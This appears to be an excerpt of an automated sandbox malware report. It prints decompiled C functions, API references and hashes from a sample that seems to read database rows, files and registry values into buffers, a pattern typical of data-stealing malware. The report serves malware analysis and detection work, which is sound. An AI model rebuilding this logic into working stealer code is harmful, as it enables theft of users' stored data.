Download Yara Rule

C-Code - Quality: 16%

			E00408150(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v268;
				char _v272;
				char _v276;
				char _v280;
				intOrPtr _v284;
				intOrPtr _v288;
				CHAR* _t30;
				void* _t33;
				void* _t35;
				void* _t41;
				intOrPtr _t48;
				intOrPtr _t67;
				void* _t73;
				void* _t75;
				void* _t76;
				void* _t79;

				E0040B720( &_v268, 0x104);
				_t30 =  *0x41a40c; // 0x7fb6d0
				wsprintfA( &_v268, _t30, _a12, _a8);
				_t33 =  *0x41a830(_a4,  &_v272);
				_t75 = _t73 + 0x18;
				if(_t33 == 0) {
					_t67 =  *0x41a6ec; // 0x7f9490
					_t35 =  *0x41a7e8(_v272, _t67, 0xffffffff,  &_v276, 0);
					_t76 = _t75 + 0x14;
					if(_t35 != 0) {
						L6:
						 *0x41a808(_v276);
						return  *0x41a834(_v272);
					}
					_v280 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t41 =  *0x41a804(_v276);
						_t79 = _t76 + 4;
						if(_t41 != 0x64) {
							break;
						}
						_v288 =  *0x41a820(_v276, 0);
						_t48 =  *0x41a820(_v276, 1);
						_t76 = _t79 + 0x10;
						_v284 = _t48;
						 *0x41aa24(_v280, _v288);
						 *0x41aa24(_v280, "\t");
						 *0x41aa24(_v280, _v284);
						 *0x41aa24(_v280, "\n");
					}
					E004137E0(_a24,  &_v268, _v280,  *0x41a908(_v280));
					_t76 = _t79 + 0x10;
					E0040B720( &_v280, 4);
					goto L6;
				}
				return _t33;
			}

0x00408165
0x00408172
0x0040817f
0x00408193
0x00408199
0x0040819e
0x004081af
0x004081bd
0x004081c3
0x004081c8
0x004082b8
0x004082bf
0x00000000
0x004082d5
0x004081e2
0x004081e8
0x004081ef
0x004081f5
0x004081fb
0x00000000
0x00000000
0x00408213
0x00408222
0x00408228
0x0040822b
0x0040823f
0x00408251
0x00408265
0x00408277
0x00408277
0x004082a2
0x004082a7
0x004082b3
0x00000000
0x004082b3
0x004082db

APIs

wsprintfA.USER32 ref: 0040817F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 004081D5
RtlAllocateHeap.NTDLL(00000000), ref: 004081DC
lstrcat.KERNEL32(?,?), ref: 0040823F
lstrcat.KERNEL32(?,004191EC), ref: 00408251
lstrcat.KERNEL32(?,?), ref: 00408265
lstrcat.KERNEL32(?,00418BC4), ref: 00408277
lstrlen.KERNEL32(?), ref: 00408289

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction ID: b2019dcf8292433c89953b96a3eab70520c34c161fc81907ed19fb7541bb8629
Opcode Fuzzy Hash: 857a99269bea2190ef1d5ef6c68e25cbade465b3303be24ebff5005b65543a5f
Instruction Fuzzy Hash: 5141ABB19001089BCB14DFA4DD46FDA7778AF48705F0085A9F709D7141DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00689650, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068967F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006896D5
RtlAllocateHeap.NTDLL(00000000), ref: 006896DC
lstrcat.KERNEL32(?,?), ref: 0068973F
lstrcat.KERNEL32(?,004191EC), ref: 00689751
lstrcat.KERNEL32(?,?), ref: 00689765
lstrcat.KERNEL32(?,00418BC4), ref: 00689777
lstrlen.KERNEL32(?), ref: 00689789

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction ID: f7c03d317660cb60f357d2c1807f107c8198a6e8b044a47acaa94e3255ada3a2
Opcode Fuzzy Hash: b84b80bc3ef8a66e1ec50053915ad1ece2d15714b502d0903898013e999a1153
Instruction Fuzzy Hash: 8841DAB1900108ABCB14EFA4DD4AFEA77B9AF08701F008594F709D3151D674DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006888A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006888CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0068891F
RtlAllocateHeap.NTDLL(00000000), ref: 00688926
lstrcat.KERNEL32(?,?), ref: 00688989
lstrcat.KERNEL32(?,00418BC4), ref: 0068899B
lstrcat.KERNEL32(?,?), ref: 006889AF
lstrcat.KERNEL32(?,00418BC0), ref: 006889C1
lstrlen.KERNEL32(?), ref: 006889D3

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction ID: e0cd3e7c8a8b26a773e163ff7ffa5120a154c91866fc418e8481633e322fc66e
Opcode Fuzzy Hash: 1119712f637d9eb64d062cc267114afa9ce115c682cd0cc618dc5df66b8733dd
Instruction Fuzzy Hash: 9C4176B1900108ABCB14EBA4DD4AFDA77B9AF48704F008598F70997151DB35EEA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 006883A0, Relevance: 12.1, APIs: 8, Instructions: 107stringmemoryCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006883CF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 00688425
RtlAllocateHeap.NTDLL(00000000), ref: 0068842C
lstrcat.KERNEL32(?,?), ref: 0068848F
lstrcat.KERNEL32(?,004191EC), ref: 006884A1
lstrcat.KERNEL32(?,?), ref: 006884B5
lstrcat.KERNEL32(?,00418BC4), ref: 006884C7
lstrlen.KERNEL32(?), ref: 006884D9

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: lstrcat$Heap$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 3196222039-0
Opcode ID: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction ID: d9aa011dba010ec11bbf3a67e1ac52492a5e9d051fe4cdd82d269b7be045003a
Opcode Fuzzy Hash: d8e0212f09cecbd233b21caa2a70ce8ec35c05bdcc88d7923fb4c376bc824f5d
Instruction Fuzzy Hash: B741A9B1900118ABCB14EFA4DD4AFDA77B9AF08700F008594F709D7151DA75DEA0CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 0068B2E0, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 38registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 0068B2F4
RtlAllocateHeap.NTDLL(00000000), ref: 0068B2FB
RegOpenKeyExA.ADVAPI32(80000002,0041A3F4,00000000,00020119,X[h), ref: 0068B31B
RegQueryValueExA.ADVAPI32(X[h,0041A4DC,00000000,00000000,?,000000FF), ref: 0068B33C
RegCloseKey.ADVAPI32(X[h), ref: 0068B346

Strings

X[h, xrefs: 0068B304, 0068B342, 0068B338, 0068B307, 0068B33B, 0068B345

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID: X[h
API String ID: 3225020163-2278083567
Opcode ID: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction ID: d3dbc1a746f9d62e92f0c6e94b1566e8199c5b3cc9319e241913befeb7d1299d
Opcode Fuzzy Hash: df4039e8785e81f7b3363609146fe50ac8c96b68d8374592efb58b1d304fb9ce
Instruction Fuzzy Hash: 44014FB5A41208BFD700DFE0DD49FEEB7B8EB48700F008568FA05A7291D6745A50CB56

Uniqueness

Uniqueness Score: -1.00%

Function 00409590, Relevance: 9.1, APIs: 6, Instructions: 94
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00409590(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				char _v276;
				intOrPtr _v280;
				char _v284;
				char _v288;
				intOrPtr _v292;
				CHAR* _t27;
				void* _t30;
				void* _t32;
				void* _t38;
				intOrPtr _t44;
				intOrPtr _t58;
				void* _t64;
				void* _t66;
				void* _t67;
				void* _t70;

				E0040B720( &_v276, 0x104);
				_t27 =  *0x41a07c; // 0x7fb430
				wsprintfA( &_v276, _t27, _a12, _a8);
				_t58 =  *0x41a294; // 0x7f9778
				_v280 = _t58;
				_t30 =  *0x41a830(_a4,  &_v8);
				_t66 = _t64 + 0x18;
				if(_t30 == 0) {
					_t32 =  *0x41a7e8(_v8, _v280, 0xffffffff,  &_v284, 0);
					_t67 = _t66 + 0x14;
					if(_t32 != 0) {
						L6:
						 *0x41a808(_v284);
						return  *0x41a834(_v8);
					}
					_v288 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t38 =  *0x41a804(_v284);
						_t70 = _t67 + 4;
						if(_t38 != 0x64) {
							break;
						}
						_t44 =  *0x41a820(_v284, 0);
						_t67 = _t70 + 8;
						_v292 = _t44;
						 *0x41aa24(_v288, _v292);
						 *0x41aa24(_v288, "\n");
					}
					E004137E0(_a16,  &_v276, _v288,  *0x41a908(_v288));
					_t67 = _t70 + 0x10;
					E0040B720( &_v288, 4);
					goto L6;
				}
				return _t30;
			}

0x004095a5
0x004095b2
0x004095bf
0x004095c8
0x004095ce
0x004095dc
0x004095e2
0x004095e7
0x00409603
0x00409609
0x0040960e
0x004096b9
0x004096c0
0x00000000
0x004096d3
0x00409628
0x0040962e
0x00409635
0x0040963b
0x00409641
0x00000000
0x00000000
0x0040964c
0x00409652
0x00409655
0x00409669
0x0040967b
0x0040967b
0x004096a3
0x004096a8
0x004096b4
0x00000000
0x004096b4
0x004096d9

APIs

wsprintfA.USER32 ref: 004095BF
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040961B
RtlAllocateHeap.NTDLL(00000000), ref: 00409622
lstrcat.KERNEL32(?,?), ref: 00409669
lstrcat.KERNEL32(?,00418BC4), ref: 0040967B
lstrlen.KERNEL32(?), ref: 0040968A

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction ID: 0f4305f0ea4e8f12541be8dfce34b0e085d7d14125619b5af487afca8afb3160
Opcode Fuzzy Hash: 118ae59d0f25a22a12b371e08b370f69fa651aeb9a5a1d3569fc809063f8c249
Instruction Fuzzy Hash: 263186B1900108ABCB14DFA4DD46FDA73B8AF4C704F0085A9F70997281D635DEA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 006897E0, Relevance: 9.1, APIs: 6, Instructions: 94memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068980F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0068986B
RtlAllocateHeap.NTDLL(00000000), ref: 00689872
lstrcat.KERNEL32(?,?), ref: 006898B9
lstrcat.KERNEL32(?,00418BC4), ref: 006898CB
lstrlen.KERNEL32(?), ref: 006898DA

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction ID: 28191403cd08186b109e4a5f3a563648dfe25c72c317ddc1dd4bf8b20a86d118
Opcode Fuzzy Hash: 3279a0d31ac6cb8fdc7aad023880eae878c5ba0ec85adfaa004ecd867f618224
Instruction Fuzzy Hash: C73174B1900108ABCB14EFA4DD46FEA73B9AF4C300F0485A8F70997251D635DA61CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00408510, Relevance: 9.1, APIs: 6, Instructions: 92
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E00408510(void* __ecx, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a24) {
				char _v8;
				char _v276;
				char _v280;
				char _v284;
				intOrPtr _v288;
				CHAR* _t25;
				void* _t28;
				void* _t30;
				void* _t36;
				intOrPtr _t42;
				intOrPtr _t56;
				void* _t61;
				void* _t63;
				void* _t64;
				void* _t67;

				E0040B720( &_v276, 0x104);
				_t25 =  *0x41a07c; // 0x7fb430
				wsprintfA( &_v276, _t25, _a12, _a8);
				_t28 =  *0x41a830(_a4,  &_v8);
				_t63 = _t61 + 0x18;
				if(_t28 == 0) {
					_t56 =  *0x41a430; // 0x7fb450
					_t30 =  *0x41a7e8(_v8, _t56, 0xffffffff,  &_v280, 0);
					_t64 = _t63 + 0x14;
					if(_t30 != 0) {
						L6:
						 *0x41a808(_v280);
						return  *0x41a834(_v8);
					}
					_v284 = RtlAllocateHeap(GetProcessHeap(), 0, 0xf423f);
					while(1) {
						_t36 =  *0x41a804(_v280);
						_t67 = _t64 + 4;
						if(_t36 != 0x64) {
							break;
						}
						_t42 =  *0x41a820(_v280, 0);
						_t64 = _t67 + 8;
						_v288 = _t42;
						 *0x41aa24(_v284, _v288);
						 *0x41aa24(_v284, "\n");
					}
					E004137E0(_a24,  &_v276, _v284,  *0x41a908(_v284));
					_t64 = _t67 + 0x10;
					E0040B720( &_v284, 4);
					goto L6;
				}
				return _t28;
			}

0x00408525
0x00408532
0x0040853f
0x00408550
0x00408556
0x0040855b
0x0040856c
0x00408577
0x0040857d
0x00408582
0x0040862d
0x00408634
0x00000000
0x00408647
0x0040859c
0x004085a2
0x004085a9
0x004085af
0x004085b5
0x00000000
0x00000000
0x004085c0
0x004085c6
0x004085c9
0x004085dd
0x004085ef
0x004085ef
0x00408617
0x0040861c
0x00408628
0x00000000
0x00408628
0x0040864d

APIs

wsprintfA.USER32 ref: 0040853F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 0040858F
RtlAllocateHeap.NTDLL(00000000), ref: 00408596
lstrcat.KERNEL32(?,?), ref: 004085DD
lstrcat.KERNEL32(?,00418BC4), ref: 004085EF
lstrlen.KERNEL32(?), ref: 004085FE

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction ID: 16a89e7602ce9a9af0cb90aa00b31cd04fc627f3dd9fe4cd639e4c9769f6db21
Opcode Fuzzy Hash: d86f877f6af101afd853e83cc45e0c7f259d9c1cd7a3b3c2d6ea3d455249c9be
Instruction Fuzzy Hash: 0F3198B1900108ABCB14EFA4DD46EDA7378AF48705F0085A8F719D7191DA35DAA1CFAA

Uniqueness

Uniqueness Score: -1.00%

Function 00688760, Relevance: 9.1, APIs: 6, Instructions: 92memorystringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0068878F
GetProcessHeap.KERNEL32(00000000,000F423F), ref: 006887DF
RtlAllocateHeap.NTDLL(00000000), ref: 006887E6
lstrcat.KERNEL32(?,?), ref: 0068882D
lstrcat.KERNEL32(?,00418BC4), ref: 0068883F
lstrlen.KERNEL32(?), ref: 0068884E

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heaplstrcat$AllocateProcesslstrlenwsprintf
String ID:
API String ID: 2177231248-0
Opcode ID: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction ID: 7543eb155f1e51640321b4aa613d2e5ca14c77c439f43f6d93b64003af2216a0
Opcode Fuzzy Hash: a067fa9aa66848bc42d69728368930e1c48be6e022443f56fa634f8f40c33e55
Instruction Fuzzy Hash: E531A8B190010CABCB14EFA8DD46FDA73B9AF48700F0085A4F719D7151DA35DAA1CFA6

Uniqueness

Uniqueness Score: -1.00%

Function 00407380, Relevance: 9.1, APIs: 6, Instructions: 77
filememoryCOMMON

Download Yara Rule

C-Code - Quality: 66%

			E00407380(CHAR* _a4, void** _a8, long* _a12) {
				struct _OVERLAPPED* _v8;
				long _v12;
				void* _v16;
				intOrPtr _v24;
				long _v28;
				long _v32;

				_v8 = 0;
				_v16 = 0;
				_v16 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0, 0);
				if(_v16 == 0 || _v16 == 0xffffffff) {
					L12:
					return _v8;
				} else {
					_push( &_v28);
					_push(_v16);
					if( *0x41a868() != 0 && _v24 == 0) {
						 *_a12 = _v28;
						 *_a8 = LocalAlloc(0x40,  *_a12);
						if( *_a8 != 0) {
							if(ReadFile(_v16,  *_a8,  *_a12,  &_v12, 0) == 0 ||  *_a12 != _v12) {
								_v32 = 0;
							} else {
								_v32 = 1;
							}
							_v8 = _v32;
							if(_v8 == 0) {
								LocalFree( *_a8);
							}
						}
					}
					CloseHandle(_v16);
					goto L12;
				}
			}

0x00407386
0x0040738d
0x004073ad
0x004073b4
0x0040745b
0x00407461
0x004073c4
0x004073c7
0x004073cb
0x004073d4
0x004073e2
0x004073f5
0x004073fd
0x0040741d
0x00407432
0x00407429
0x00407429
0x00407429
0x0040743c
0x00407443
0x0040744b
0x0040744b
0x00407443
0x004073fd
0x00407455
0x00000000
0x00407455

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,004076B0,00000000,?), ref: 004073A7
GetFileSizeEx.KERNEL32(000000FF,004076B0,?,004076B0,00000000,?), ref: 004073CC
LocalAlloc.KERNEL32(00000040,?,?,004076B0), ref: 004073EC
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,004076B0), ref: 00407415
LocalFree.KERNEL32(?), ref: 0040744B
CloseHandle.KERNEL32(000000FF,?,004076B0,00000000,?), ref: 00407455

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: af94470c476782e88e9ea84d45e590fd848c7c035798b2791f751b67d2b5900f
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 1A31DBB4A04209EFDB14DF94C888BAEBBB5FF48310F108169E915AB3D0C778AA55CF55

Uniqueness

Uniqueness Score: -1.00%

Function 006875D0, Relevance: 9.1, APIs: 6, Instructions: 77filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,00687900,00000000,?), ref: 006875F7
GetFileSizeEx.KERNEL32(000000FF,00687900,?,00687900,00000000,?), ref: 0068761C
LocalAlloc.KERNEL32(00000040,?,?,00687900), ref: 0068763C
ReadFile.KERNEL32(000000FF,?,000000FF,?,00000000,?,00687900), ref: 00687665
LocalFree.KERNEL32(?), ref: 0068769B
CloseHandle.KERNEL32(000000FF,?,00687900,00000000,?), ref: 006876A5

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction ID: 0788ee543816c95544759948f7f19e95ecba0347bac8c360626898e7d55eb6e6
Opcode Fuzzy Hash: 4e0f13bd6030b2d39f57ca96a85e1861cdcda2e923e2d8cd49f8341b4bf1824a
Instruction Fuzzy Hash: 8331E7B4A04209EFDB14DF98C884BEEB7B5FB48315F208258E915AB390D774EA91CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00692340, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 131COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?,?,?,?,?,00692D2E,?,?), ref: 006923B8
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00692D2E), ref: 0069240A

Strings

.-i, xrefs: 0069246E, 006924C3, 00692471

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: FilePointer
String ID: .-i
API String ID: 973152223-3654693355
Opcode ID: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction ID: 3e7bd13e16e395eceae4e6acf2c11d93bd5701d9568684840bb756a186d66847
Opcode Fuzzy Hash: bd9446f4783b8dd7e6d95fa0f5fa15532bd816b395c3834064200ff55a53ee91
Instruction Fuzzy Hash: EA51C5749002099FDB04DFA8C894BEEBBF5BB4C304F14C259E825AB391D735A946CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00692000, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 127COMMON

Download Yara Rule

APIs

new[].LIBCMTD ref: 00692060
memcpy.NTDLL(00000000,?,000000FF,?,00692AED,?,000000FF,?,00004000), ref: 0069208C
memcpy.NTDLL(?,00004000,000000FF,?,00692AED,?,000000FF,?,00004000), ref: 0069211D

Strings

*i, xrefs: 0069206E

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: memcpy$new[]
String ID: *i
API String ID: 3541104900-3207889224
Opcode ID: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction ID: a535c379074c08148c84396bfedfe38a44224465c481ed8ff52dfc04df05f9af
Opcode Fuzzy Hash: 3f6ea1475b6a799feff947736ee965e7d5baee5b117e73dbe9ef4aba49eea13c
Instruction Fuzzy Hash: 0551EEB4A0020AEFCB44CF98D495EAEBBB6FF48314F508159EA05AB745C731E991CF94

Uniqueness

Uniqueness Score: -1.00%

Function 0040ACE0, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33
memorytimeCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040ACE0() {
				struct _SYSTEMTIME _v20;
				void* _v24;

				_v24 = RtlAllocateHeap(GetProcessHeap(), 0, 0x104);
				GetLocalTime( &_v20);
				wsprintfA(_v24, "%d/%d/%d %d:%d:%d", _v20.wDay & 0x0000ffff, _v20.wMonth & 0x0000ffff, _v20.wYear & 0x0000ffff, _v20.wHour & 0x0000ffff, _v20.wMinute & 0x0000ffff, _v20.wSecond & 0x0000ffff);
				return _v24;
			}

0x0040acfa
0x0040ad01
0x0040ad2e
0x0040ad3d

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040ACED
RtlAllocateHeap.NTDLL(00000000), ref: 0040ACF4
GetLocalTime.KERNEL32(?,?,?,?,?,?,004057BA,?,?,?,?,00000104,?,00001388), ref: 0040AD01
wsprintfA.USER32 ref: 0040AD2E

Strings

%d/%d/%d %d:%d:%d, xrefs: 0040AD25

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: %d/%d/%d %d:%d:%d
API String ID: 377395780-1073349071
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00404970, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E00404970(void* __ecx, void* __eflags, char* _a4) {
				intOrPtr _v56;
				char* _v60;
				char _v64;
				char _v132;

				E0040B720( &_v132, 0x40);
				E0040B720( &_v64, 0x3c);
				_v64 = 0x3c;
				_v60 =  &_v132;
				_v56 = 0x40;
				_push( &_v64);
				if(InternetCrackUrlA(_a4,  *0x41a908(), _a4, 0x10000000) == 0) {
					return 0x418b7c;
				}
				return _v60;
			}

0x0040497f
0x0040498a
0x0040498f
0x00404999
0x0040499c
0x004049a6
0x004049c3
0x00000000
0x004049cc
0x00000000

APIs

lstrlen.KERNEL32(?,10000000,0000003C,?,0000003C,?,00000040), ref: 004049B0
InternetCrackUrlA.WININET(?,00000000), ref: 004049BB

Strings

<, xrefs: 0040498F
@, xrefs: 0040499C
http, xrefs: 004049CC

Memory Dump Source

Source File: 0000000F.00000002.775582077.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.775617773.000000000042C000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_CCB2.jbxd

Similarity

API ID: CrackInternetlstrlen
String ID: <$@$http
API String ID: 1274457161-26727890
Opcode ID: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction ID: e6804194f0461931acba1e2b3008128b19c1605eb91d96f529587f083f9a09b0
Opcode Fuzzy Hash: 953279faeda4fbfed10a865a9ed3943784a545a7601c943f1e9572a566367c12
Instruction Fuzzy Hash: 84F012F590020CABDB04DFA5E885FEE7B7CEB44344F008529FA04AB190DB78A5448B99

Uniqueness

Uniqueness Score: -1.00%

Function 0068AF30, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00685A0A), ref: 0068AF3D
RtlAllocateHeap.NTDLL(00000000), ref: 0068AF44
GetLocalTime.KERNEL32(?,?,?,?,?,00685A0A), ref: 0068AF51
wsprintfA.USER32 ref: 0068AF7E

Strings

Zh, xrefs: 0068AF57, 0068AF5B

Memory Dump Source

Source File: 0000000F.00000002.775762974.0000000000680000.00000040.00000001.sdmp, Offset: 00680000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_680000_CCB2.jbxd

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID: Zh
API String ID: 377395780-4058710128
Opcode ID: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction ID: d54db4264a189618d18ac0c6d63712439e5e5702a0e8137862d75125f6334758
Opcode Fuzzy Hash: 8e285d3c0eb36019000bcc5d6a07b144cb12c9e005f16ceaedbebfc32425e432
Instruction Fuzzy Hash: 2FF06DB5800118BBCB10DBE99D489FFB3B8BF0CB02F00415AFA41A1180E6388A90D776

Uniqueness

Uniqueness Score: -1.00%

Function 00684BC0, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 33stringnetworkCOMMON

Download Yara Rule

APIs

